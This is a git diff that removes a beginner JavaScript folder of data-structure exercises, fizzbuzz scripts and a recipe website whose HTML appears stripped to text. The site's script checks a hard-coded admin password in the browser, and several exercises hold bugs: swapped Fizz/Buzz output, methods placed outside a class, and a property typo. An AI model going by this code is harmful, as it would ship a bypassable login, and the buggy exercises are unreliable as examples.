index) { - current = current.next; - count++; - } - return current; - } else { - count = this.length - 1; - current = this.tail; - while (count !== index) { - current = current.prev; - count--; - } - return current; - } - } - - set(index, val) { - let foundNode = this.get(index); - if (foundNode !== null) { - foundNode.val = val; - return true; - } - return false; - } - - insert(index, val) { - if (index < 0 || index > this.length) return false; - if (index === 0) return !!this.unshift(val); - if (index === this.length) return !!this.push(val); - - let newNode = new Node(val); - let beforeNode = this.get(index - 1); - let afterNode = beforeNode.next; - - (beforeNode.next = newNode), (newNode.prev = beforeNode); - (newNode.next = afterNode), (afterNode.prev = newNode); - this.length++; - return true; - } - - remove(index) { - if (index < 0 || index >= this.length) return undefined; - if (index === 0) return this.shift(); - if (index === this.length - 1) return this.pop(); - - let removedNode = this.get(index); - let beforeNode = removedNode.prev; - let afterNode = removedNode.next; - - beforeNode.next = afterNode; - afterNode.prev = beforeNode; - removedNode.next = null; - removedNode.prev = null; - this.length--; - return removedNode; - } - - print() { - let arr = []; - let current = this.head; - while (current) { - arr.push(current.val); - current = current.next; - } - console.log(arr); - } -} - -let list = new DoublyLinkedList(); -list.push("A"); -list.push("B"); diff --git a/Add Code Here/JAVASCRIPT/dsa/BinarySearchTree.js b/Add Code Here/JAVASCRIPT/dsa/BinarySearchTree.js deleted file mode 100644 index fd5d2a1b98c..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/BinarySearchTree.js +++ /dev/null @@ -1,81 +0,0 @@ -class Node { - constructor(value) { - this.value = value; - this.let = null; - this.right = null; - } -} - -class BinarySearchTree { - constructor() { - this.root = null; - } - - insert(value) { - let newNode = new Node(value); - if (this.root === null) { - this.root = newNode; - return this; - } - - let current = this.root; - while (true) { - if (value === current.value) return undefined; - if (value < current.value) { - if (current.left === null) { - current.left = newNode; - return this; - } - current = current.left; - } else { - if (current.right === null) { - current.right = newNode; - return this; - } - current = current.right; - } - } - } - - find(value) { - if (this.root === null) return false; - let current = this.root, - found = false; - while (current && !found) { - if (value < current.value) { - current = current.left; - } else if (value > current.value) { - current = current.right; - } else { - found = true; - } - } - if (!found) return undefined; - return current; - } - - contains(value) { - if (this.root === null) return false; - let current = this.root, - found = false; - while (current && !found) { - if (value < current.value) { - current = current.left; - } else if (value > current.value) { - current = current.right; - } else { - return true; - } - } - return false; - } -} - -let tree = new BinarySearchTree(); -tree.insert(10); -tree.insert(5); -tree.insert(13); -tree.insert(11); -tree.insert(2); -tree.insert(16); -tree.insert(7); diff --git a/Add Code Here/JAVASCRIPT/dsa/DoubleLinkedList.js b/Add Code Here/JAVASCRIPT/dsa/DoubleLinkedList.js deleted file mode 100644 index 2cf0df2c6d6..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/DoubleLinkedList.js +++ /dev/null @@ -1,150 +0,0 @@ -class Node { - constructor(val) { - this.val = val; - this.next = null; - this.prev = null; - } -} - -class DoublyLinkedList { - constructor() { - this.head = null; - this.tail = null; - this.length = 0; - } - - push(val) { - let newNode = new Node(val); - if (this.length === 0) { - this.head = newNode; - this.tail = newNode; - } else { - this.tail.next = newNode; - newNode.prev = this.tail; - this.tail = newNode; - } - this.length++; - return this; - } - - pop() { - if (!this.head) return undefined; - let poppedNode = this.tail; - if (this.length === 1) { - this.head = null; - this.tail = null; - } else { - this.tail = poppedNode.prev; - this.tail.next = null; - poppedNode.prev = null; - } - this.length--; - return poppedNode; - } - - shift() { - if (this.length === 0) return undefined; - let oldHead = this.head; - if (this.length === 1) { - this.head = null; - this.tail = null; - } else { - this.head = oldHead.next; - this.head.prev = null; - oldHead.next = null; - } - this.length--; - return oldHead; - } - - unshift(val) { - let newNode = new Node(val); - if (this.length === 0) { - this.head = newNode; - this.tail = newNode; - } else { - this.head.prev = newNode; - newNode.next = this.head; - this.head = newNode; - } - this.length++; - return this; - } - - get(index) { - if (index < 0 || index >= this.length) return null; - let count, current; - if (index <= this.length / 2) { - count = 0; - current = this.head; - while (count !== index) { - current = current.next; - count++; - } - return current; - } else { - count = this.length - 1; - current = this.tail; - while (count !== index) { - current = current.prev; - count--; - } - return current; - } - } - - set(index, val) { - let foundNode = this.get(index); - if (foundNode !== null) { - foundNode.val = val; - return true; - } - return false; - } - - insert(index, val) { - if (index < 0 || index > this.length) return false; - if (index === 0) return !!this.unshift(val); - if (index === this.length) return !!this.push(val); - - let newNode = new Node(val); - let beforeNode = this.get(index - 1); - let afterNode = beforeNode.next; - - (beforeNode.next = newNode), (newNode.prev = beforeNode); - (newNode.next = afterNode), (afterNode.prev = newNode); - this.length++; - return true; - } - - remove(index) { - if (index < 0 || index >= this.length) return undefined; - if (index === 0) return this.shift(); - if (index === this.length - 1) return this.pop(); - - let removedNode = this.get(index); - let beforeNode = removedNode.prev; - let afterNode = removedNode.next; - - beforeNode.next = afterNode; - afterNode.prev = beforeNode; - removedNode.next = null; - removedNode.prev = null; - this.length--; - return removedNode; - } - - print() { - let arr = []; - let current = this.head; - while (current) { - arr.push(current.val); - current = current.next; - } - console.log(arr); - } -} - -let list = new DoublyLinkedList(); -list.push("A"); -list.push("B"); diff --git a/Add Code Here/JAVASCRIPT/dsa/HashTable.js b/Add Code Here/JAVASCRIPT/dsa/HashTable.js deleted file mode 100644 index 39c11e8558b..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/HashTable.js +++ /dev/null @@ -1,73 +0,0 @@ -class HashTable { - constructor(size = 53) { - this.keyMap = new Array(size); - } - - _hash(key) { - let total = 0; - let WEIRD_PRIME = 31; - for (let i = 0; i < Math.min(key.length, 100); i++) { - let char = key[i]; - let value = char.charCodeAt(0) - 96; - total = (total * WEIRD_PRIME + value) % this.keyMap.length; - } - return total; - } - - set(key, value) { - let index = this._hash(key); - if (!this.keyMap[index]) { - this.keyMap[index] = []; - } - this.keyMap[index].push([key, value]); - } - - get(key) { - let index = this._hash(key); - if (this.keyMap[index]) { - for (let i = 0; i < this.keyMap[index].length; i++) { - if (this.keyMap[index][i][0] === key) { - return this.keyMap[index][i][1]; - } - } - } - return undefined; - } - - keys() { - let keysArr = []; - for (let i = 0; i < this.keyMap.length; i++) { - if (this.keyMap[i]) { - for (let j = 0; j < this.keyMap[i].length; j++) { - if (!keysArr.includes(this.keyMap[i][j][0])) { - keysArr.push(this.keyMap[i][j][0]); - } - } - } - } - return keysArr; - } - - values() { - let valuesArr = []; - for (let i = 0; i < this.keyMap.length; i++) { - if (this.keyMap[i]) { - for (let j = 0; j < this.keyMap[i].length; j++) { - if (!valuesArr.includes(this.keyMap[i][j][1])) { - valuesArr.push(this.keyMap[i][j][1]); - } - } - } - } - return valuesArr; - } -} - -let ht = new HashTable(17); -ht.set("maroon", "#800000"); -ht.set("yellow", "#ffff00"); -ht.set("olive", "#808000"); -ht.set("salmon", "#Fa8072"); -ht.set("lightcoral", "#f08080"); -ht.set("mediumvioletred", "#C71585"); -ht.set("plum", "#dd10dd"); diff --git a/Add Code Here/JAVASCRIPT/dsa/PriorityQueue.js b/Add Code Here/JAVASCRIPT/dsa/PriorityQueue.js deleted file mode 100644 index 3edd955ba0c..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/PriorityQueue.js +++ /dev/null @@ -1,79 +0,0 @@ -class Node { - constructor(val, priority) { - this.val = val; - this.priority = priority; - } -} - -class PriorityQueue { - constructor() { - this.values = []; - } - - enqueue(val, priority) { - let newNode = new Node(val, priority); - this.values.push(newNode); - this.bubbleUp(); - } - - bubbleUp() { - let idx = this.values.length - 1; - const element = this.values[idx]; - while (idx > 0) { - let parentIdx = Math.floor((idx - 1) / 2); - let parent = this.values[parentIdx]; - if (element.priority <= parent.priority) break; - this.values[parentIdx] = element; - this.values[idx] = parent; - idx = parentIdx; - } - } - - dequeue() { - const max = this.values[0]; - const end = this.values.pop(); - if (this.values.length > 0) { - this.values[0] = end; - this.sinkDown(); - } - return max; - } - - sinkDown() { - let idx = 0; - const length = this.values.length; - const element = this.values[idx]; - while (true) { - let leftChildIdx = 2 * idx + 1; - let rightChildIdx = 2 * idx + 2; - let leftChild, rightChild; - let swap = null; - - if (leftChildIdx < length) { - leftChild = this.values[leftChildIdx]; - if (leftChild.priority > element.priority) { - swap = leftChildIdx; - } - } - if (rightChildIdx < length) { - rightChild = this.values[rightChildIdx]; - if ( - (swap === null && rightChild.priority > element.priority) || - (swap !== null && rightChild.priority > leftChild.priority) - ) { - swap = rightChildIdx; - } - } - - if (swap === null) break; - this.values[idx] = this.values[swap]; - this.values[swap] = element; - idx = swap; - } - } -} - -let ER = new PriorityQueue(); -ER.enqueue("common cold", 1); -ER.enqueue("gunshot wound", 5); -ER.enqueue("high fever", 2); diff --git a/Add Code Here/JAVASCRIPT/dsa/Queue.js b/Add Code Here/JAVASCRIPT/dsa/Queue.js deleted file mode 100644 index cb4abee110b..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/Queue.js +++ /dev/null @@ -1,41 +0,0 @@ -class Node { - constructor(value) { - this.value = value; - this.next = null; - } -} - -class Queue { - constructor() { - this.first = null; - this.last = null; - this.size = 0; - } - - enqueue(val) { - let newNode = new Node(val); - if (!this.first) { - this.first = newNode; - this.last = newNode; - } else { - this.last.next = newNode; - this.last = newNode; - } - return ++this.size; - } - - dequeue() { - if (!this.first) return null; - let temp = this.first; - if (this.first === this.last) { - this.last = null; - } - this.first = this.first.next; - this.size--; - return temp.value; - } -} - -let queue = new Queue(); -queue.enqueue("A"); -queue.enqueue("B"); diff --git a/Add Code Here/JAVASCRIPT/dsa/SinglyLinkedList.js b/Add Code Here/JAVASCRIPT/dsa/SinglyLinkedList.js deleted file mode 100644 index 319eaea3ae4..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/SinglyLinkedList.js +++ /dev/null @@ -1,130 +0,0 @@ -class Node { - constructor(val) { - this.val = val; - this.next = null; - } -} - -class SinglyLinkedList { - constructor() { - this.head = null; - this.tail = null; - this.length = 0; - } - - push(val) { - let newNode = new Node(val); - if (!this.head) { - this.head = newNode; - this.tail = this.head; - } else { - this.tail.next = newNode; - this.tail = newNode; - } - this.length++; - return this; - } - - pop() { - if (!this.head) return undefined; - let current = this.head; - let newTail = current; - while (current.next) { - newTail = current; - current = current.next; - } - this.tail = newTail; - this.tail.next = null; - this.length--; - if (this.length === 0) { - this.head = null; - this.tail = null; - } - return current; - } - - shift() { - if (!this.head) return undefined; - let currentHead = this.head; - this.head = currentHead.next; - this.length--; - return currentHead; - } - - unshift(val) { - let newNode = new Node(val); - if (!this.head) { - this.head = newNode; - this.tail = this.head; - } else { - newNode.next = this.head; - this.head = newNode; - } - this.length++; - return this; - } - - get(index) { - if (index < 0 || index >= this.length) return null; - let counter = 0; - let current = this.head; - while (counter !== index) { - current = current.next; - counter++; - } - return current; - } - - insert(index, val) { - if (index < 0 || index >= this.length) return false; - if (index === this.length) !!this.push(val); - if (index === 0) return !!this.unshift(val); - let newNode = new Node(val); - let prev = this.get(index - 1); - let temp = prev.next; - prev.next = newNode; - newNode.next = temp; - this.length++; - return true; - } - - remove(index) { - if (index < 0 || index >= this.length) return undefined; - if (index === 0) return this.shift(); - if (index === this.length - 1) return this.pop(); - let previousNode = this.get(index - 1); - let removed = previousNode.next; - previousNode.next = removed.next; - this.length--; - return removed; - } - - reverse() { - let node = this.head; - this.head = this.tail; - this.tail = node; - let next; - let prev = null; - for (let i = 0; i < this.length; i++) { - next = node.next; - node.next = prev; - prev = node; - node = next; - } - return this; - } - - print() { - let arr = []; - let current = this.head; - while (current) { - arr.push(current.val); - current = current.next; - } - console.log(arr); - } -} - -let list = new SinglyLinkedList(); -list.push("A"); -list.push("B"); diff --git a/Add Code Here/JAVASCRIPT/dsa/Stack.js b/Add Code Here/JAVASCRIPT/dsa/Stack.js deleted file mode 100644 index 913393a9d6f..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/Stack.js +++ /dev/null @@ -1,42 +0,0 @@ -class Node { - constructor(value) { - this.value = value; - this.next = null; - } -} - -class Stack { - constructor() { - this.first = null; - this.last = null; - this.size = 0; - } - - push(val) { - let newNode = new Node(val); - if (!this.first) { - this.first = newNode; - this.last = newNode; - } else { - let temp = this.first; - this.first = newNode; - this.first.next = temp; - } - return ++this.size; - } - - pop() { - if (!this.first) return null; - let temp = this.first; - if (this.first === this.last) { - this.last = null; - } - this.first = this.first.next; - this.size--; - return temp.value; - } -} - -let stack = new Stack(); -stack.push("A"); -stack.push("B"); diff --git a/Add Code Here/JAVASCRIPT/dsa/Tree.js b/Add Code Here/JAVASCRIPT/dsa/Tree.js deleted file mode 100644 index d2dc42a00fa..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/Tree.js +++ /dev/null @@ -1,187 +0,0 @@ -// Node class -class Node -{ - constructor(data) - { - this.data = data; - this.left = null; - this.right = null; - } -} - -// Binary Search tree class -class BinarySearchTree -{ - constructor() - { - // root of a binary search tree - this.root = null; - } - - // function to be implemented - // insert(data) - // remove(data) - - - // Helper function - // findMinNode() - // getRootNode() - // inorder(node) - // preorder(node) - // postorder(node) - // search(node, data) -} - - -// helper method which creates a new node to -// be inserted and calls insertNode -insert(data) -{ - // Creating a node and initialising - // with data - var newNode = new Node(data); - - // root is null then node will - // be added to the tree and made root. - if(this.root === null) - this.root = newNode; - else - - // find the correct position in the - // tree and add the node - this.insertNode(this.root, newNode); -} - -// Method to insert a node in a tree -// it moves over the tree to find the location -// to insert a node with a given data -insertNode(node, newNode) -{ - // if the data is less than the node - // data move left of the tree - if(newNode.data < node.data) - { - // if left is null insert node here - if(node.left === null) - node.left = newNode; - else - - // if left is not null recur until - // null is found - this.insertNode(node.left, newNode); - } - - // if the data is more than the node - // data move right of the tree - else - { - // if right is null insert node here - if(node.right === null) - node.right = newNode; - else - - // if right is not null recur until - // null is found - this.insertNode(node.right,newNode); - } -} - - -// helper method that calls the -// removeNode with a given data -remove(data) -{ - // root is re-initialized with - // root of a modified tree. - this.root = this.removeNode(this.root, data); -} - -// Method to remove node with a -// given data -// it recur over the tree to find the -// data and removes it -removeNode(node, key) -{ - - // if the root is null then tree is - // empty - if(node === null) - return null; - - // if data to be delete is less than - // roots data then move to left subtree - else if(key < node.data) - { - node.left = this.removeNode(node.left, key); - return node; - } - - // if data to be delete is greater than - // roots data then move to right subtree - else if(key > node.data) - { - node.right = this.removeNode(node.right, key); - return node; - } - - // if data is similar to the root's data - // then delete this node - else - { - // deleting node with no children - if(node.left === null && node.right === null) - { - node = null; - return node; - } - - // deleting node with one children - if(node.left === null) - { - node = node.right; - return node; - } - - else if(node.right === null) - { - node = node.left; - return node; - } - - // Deleting node with two children - // minimum node of the right subtree - // is stored in aux - var aux = this.findMinNode(node.right); - node.data = aux.data; - - node.right = this.removeNode(node.right, aux.data); - return node; - } - -} - - -// Performs inorder traversal of a tree -inorder(node) -{ - if(node !== null) - { - this.inorder(node.left); - console.log(node.data); - this.inorder(node.right); - } -} - - -// Performs preorder traversal of a tree -preorder(node) -{ - if(node !== null) - { - console.log(node.data); - this.preorder(node.left); - this.preorder(node.right); - } -} - - diff --git a/Add Code Here/JAVASCRIPT/even and odd.js b/Add Code Here/JAVASCRIPT/even and odd.js deleted file mode 100644 index fb9648689e5..00000000000 --- a/Add Code Here/JAVASCRIPT/even and odd.js +++ /dev/null @@ -1,16 +0,0 @@ -function odd(length){ - for(i = 1; i <= length; i++){ - if(i % 2 == 1){ - console.log(i) - } - } -} -function even(length){ - for(i = 1; i <= length; i++){ - if(i % 2 == 0){ - console.log(i) - } - } -} -//example odd(20), even(20) -even(20) \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/fizzBuzz.js b/Add Code Here/JAVASCRIPT/fizzBuzz.js deleted file mode 100644 index 3ee59b0f26c..00000000000 --- a/Add Code Here/JAVASCRIPT/fizzBuzz.js +++ /dev/null @@ -1,13 +0,0 @@ -// fizzbuzz - -for (let i = 1; i <= 100; i++) { - if (i % 15 == 0) { - console.log('FizzBuzz'); - } else if (i % 5 == 0) { - console.log('Fizz'); - } else if (i % 3 == 0) { - console.log('Buzz'); - } else { - console.log(i); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/foodie/BALUSHAHI.jpg b/Add Code Here/JAVASCRIPT/foodie/BALUSHAHI.jpg deleted file mode 100644 index 070ae32e272..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/BALUSHAHI.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/MUTTER.png b/Add Code Here/JAVASCRIPT/foodie/MUTTER.png deleted file mode 100644 index a6aaf85fd80..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/MUTTER.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/about.html b/Add Code Here/JAVASCRIPT/foodie/about.html deleted file mode 100644 index 1b72fa0ddac..00000000000 --- a/Add Code Here/JAVASCRIPT/foodie/about.html +++ /dev/null @@ -1,43 +0,0 @@ - - - - - - - - About us - - - -
- -
- nothing - -
-

About us

-
- - -

Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque eaque pariatur aperiam qui porro quasi, tenetur, soluta laudantium impedit totam cupiditate aut. Ratione sed perspiciatis repudiandae, odio possimus porro minima.

-
-
    -
  • - -
  • -
-
- -
- - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/foodie/barebone.html b/Add Code Here/JAVASCRIPT/foodie/barebone.html deleted file mode 100644 index 81deb63a2fe..00000000000 --- a/Add Code Here/JAVASCRIPT/foodie/barebone.html +++ /dev/null @@ -1,325 +0,0 @@ - - - - - - - - - - Foodies - - - - -
- -
- -
-
-
-
search
- Ganesha -
- -
-

Menu

-

For Foodies

-
-

Latest Recipe


-
- - -
-
- stew -
- Matar Paneer - By Urmila Devi -
- -
-
-
- - 40 mins -
-
-
-
-
- stew -
- Chole - By Anand -
- -
-
-
- - 20 mins -
-
-
-
-
- stew -
- Dal Makhani - By Debendra -
- -
-
-
- - 40 mins -
-
-
- - -
-
- stew -
- Butter Chicken - By Lisa Khanna -
- -
-
-
- - 58 mins -
-
- nonveg -
-
- -
-
-
- stew -
- Fried Rice - By Joshwa -
- -
-
-
- - 40 mins -
-
-
-
-
- stew -
- Sabji Poori - By Hemant -
- -
-
-
- - 40 mins -
-
-
-
- - - -
-
-

Desserts


-
- -
-
- stew -
- Rasogulla - By Ramini -
- -
- -
-
- - 6 mins - -
- -
-
-
-
- stew -
- Balushahi - By Chandori -
- -
-
-
- - 10 mins -
-
-
-
-
- stew -
- Jalebi - By Chandori -
- -
-
-
- - 58 mins -
-
-
-
- stew -
- Choco Lava Cake - By James -
- -
- -
-
-
- stew -
- Icecream - By Daniel -
- -
- -
-
-
- - - - - -
- - - - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/foodie/biryani.jpg b/Add Code Here/JAVASCRIPT/foodie/biryani.jpg deleted file mode 100644 index 35d8120c054..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/biryani.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/biryani1.png b/Add Code Here/JAVASCRIPT/foodie/biryani1.png deleted file mode 100644 index bdccb63a639..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/biryani1.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/butterchicken.png b/Add Code Here/JAVASCRIPT/foodie/butterchicken.png deleted file mode 100644 index 5c0af95fe48..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/butterchicken.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/chef.jpg b/Add Code Here/JAVASCRIPT/foodie/chef.jpg deleted file mode 100644 index 75e60f0d6db..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/chef.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/chocolava.png b/Add Code Here/JAVASCRIPT/foodie/chocolava.png deleted file mode 100644 index b68d56845f3..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/chocolava.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/cholebhature.jpg b/Add Code Here/JAVASCRIPT/foodie/cholebhature.jpg deleted file mode 100644 index f7b96cb09cd..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/cholebhature.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/dal.jpg b/Add Code Here/JAVASCRIPT/foodie/dal.jpg deleted file mode 100644 index 2672b1504ea..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/dal.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/dish.png b/Add Code Here/JAVASCRIPT/foodie/dish.png deleted file mode 100644 index 7d204b7e188..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/dish.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/download (1).jpg b/Add Code Here/JAVASCRIPT/foodie/download (1).jpg deleted file mode 100644 index 376b4f257a7..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/download (1).jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/download.jpg b/Add Code Here/JAVASCRIPT/foodie/download.jpg deleted file mode 100644 index bb028e8692a..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/download.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/download.png b/Add Code Here/JAVASCRIPT/foodie/download.png deleted file mode 100644 index dc9f3ec8295..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/download.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/email.png b/Add Code Here/JAVASCRIPT/foodie/email.png deleted file mode 100644 index ec87b868f38..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/email.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/facebook.png b/Add Code Here/JAVASCRIPT/foodie/facebook.png deleted file mode 100644 index f93cd376989..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/facebook.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/favicon.ico b/Add Code Here/JAVASCRIPT/foodie/favicon.ico deleted file mode 100644 index 6d412998e92..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/favicon.ico and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/firechwef.jpg b/Add Code Here/JAVASCRIPT/foodie/firechwef.jpg deleted file mode 100644 index 2f39ef3e58e..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/firechwef.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/food-delivery.png b/Add Code Here/JAVASCRIPT/foodie/food-delivery.png deleted file mode 100644 index 03f954dded7..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/food-delivery.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/food-tray.png b/Add Code Here/JAVASCRIPT/foodie/food-tray.png deleted file mode 100644 index 523927cade8..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/food-tray.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/fried rice.jpg b/Add Code Here/JAVASCRIPT/foodie/fried rice.jpg deleted file mode 100644 index b9e07ece725..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/fried rice.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/ganesha (1).png b/Add Code Here/JAVASCRIPT/foodie/ganesha (1).png deleted file mode 100644 index 2d1a91226f7..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/ganesha (1).png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/ganesha.png b/Add Code Here/JAVASCRIPT/foodie/ganesha.png deleted file mode 100644 index 0c0cea52fb3..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/ganesha.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/ice.jpg b/Add Code Here/JAVASCRIPT/foodie/ice.jpg deleted file mode 100644 index e65fb134361..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/ice.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/idli.png b/Add Code Here/JAVASCRIPT/foodie/idli.png deleted file mode 100644 index c78619f842f..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/idli.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/index.js b/Add Code Here/JAVASCRIPT/foodie/index.js deleted file mode 100644 index 575120a728b..00000000000 --- a/Add Code Here/JAVASCRIPT/foodie/index.js +++ /dev/null @@ -1,56 +0,0 @@ -const burger = document.querySelector('#burger'); -const menu = document.querySelector('#menu'); -const popular=document.querySelector('#popular'); -const log=document.querySelector('#log'); -const popup=document.querySelector('#popup'); -burger.addEventListener('click', () => { - if (menu.classList.contains('hidden')) { - menu.classList.remove('hidden'); - - - } else { - menu.classList.add('hidden'); - } -}) -more.addEventListener('click',()=>{ - if(popular.classList.contains('hidden')){ - popular.classList.remove('hidden'); - }else{ - popular.classList.add('hidden') - } -}) -log.addEventListener('click', () => { - if (popup.classList.contains('hidden')) { - popup.classList.remove('hidden'); - - - - } else { - popup.classList.add('hidden'); - } - -}) -document.getElementById("login").addEventListener("click",validate); - function validate() - { - var attempt=5; - attempt--; - var password = document.getElementById("Password").value; - var username = document.getElementById("username").value; - if(username == "admin" && password == "foodies"){ - alert ("Login Successfully"); - window.location="https://bit.ly/FooDIES"; //other page - return false; - } - else{ - attempt--; - alert("you have "+attempt+" attempt;"); - if(attempt==0){ - document.getElementById("username").disabled = true; - document.getElementById("password").disabled = true; - document.getElementById("login").disabled = true; - return false; - } - } - } - diff --git a/Add Code Here/JAVASCRIPT/foodie/instagram (3).png b/Add Code Here/JAVASCRIPT/foodie/instagram (3).png deleted file mode 100644 index 029909d8796..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/instagram (3).png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/int.png b/Add Code Here/JAVASCRIPT/foodie/int.png deleted file mode 100644 index 6181afa8831..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/int.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/jalebi.png b/Add Code Here/JAVASCRIPT/foodie/jalebi.png deleted file mode 100644 index 20ed6b254d3..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/jalebi.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/kulche.jpg b/Add Code Here/JAVASCRIPT/foodie/kulche.jpg deleted file mode 100644 index 0a8c129b113..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/kulche.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/network.png b/Add Code Here/JAVASCRIPT/foodie/network.png deleted file mode 100644 index d6d2a6ce3c9..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/network.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/nonveg.jpg b/Add Code Here/JAVASCRIPT/foodie/nonveg.jpg deleted file mode 100644 index 3c02762c3c2..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/nonveg.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/nonveg1.png b/Add Code Here/JAVASCRIPT/foodie/nonveg1.png deleted file mode 100644 index 413d04974c4..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/nonveg1.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/package.json b/Add Code Here/JAVASCRIPT/foodie/package.json deleted file mode 100644 index 488d06d06a7..00000000000 --- a/Add Code Here/JAVASCRIPT/foodie/package.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "name": "another-website", - "version": "1.0.0", - "description": "", - "main": "index.js", - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/duplixx/Foodies_website.git" - }, - "author": "", - "license": "ISC", - "bugs": { - "url": "https://github.com/duplixx/Foodies_website/issues" - }, - "homepage": "https://github.com/duplixx/Foodies_website#readme" -} diff --git a/Add Code Here/JAVASCRIPT/foodie/password.png b/Add Code Here/JAVASCRIPT/foodie/password.png deleted file mode 100644 index 582d0dce8e5..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/password.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/rasogulla.jpg b/Add Code Here/JAVASCRIPT/foodie/rasogulla.jpg deleted file mode 100644 index 0d2f66fcfe7..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/rasogulla.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/restro1.jpg b/Add Code Here/JAVASCRIPT/foodie/restro1.jpg deleted file mode 100644 index 6a8157e6c01..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/restro1.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/sabji poori.jpg b/Add Code Here/JAVASCRIPT/foodie/sabji poori.jpg deleted file mode 100644 index c97e4938794..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/sabji poori.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/salad.png b/Add Code Here/JAVASCRIPT/foodie/salad.png deleted file mode 100644 index 998c983e808..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/salad.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/search.png b/Add Code Here/JAVASCRIPT/foodie/search.png deleted file mode 100644 index 3ede4d1134b..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/search.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/foodie/style.css b/Add Code Here/JAVASCRIPT/foodie/style.css deleted file mode 100644 index 6ce2a7f07ac..00000000000 --- a/Add Code Here/JAVASCRIPT/foodie/style.css +++ /dev/null @@ -1,10 +0,0 @@ -@tailwind 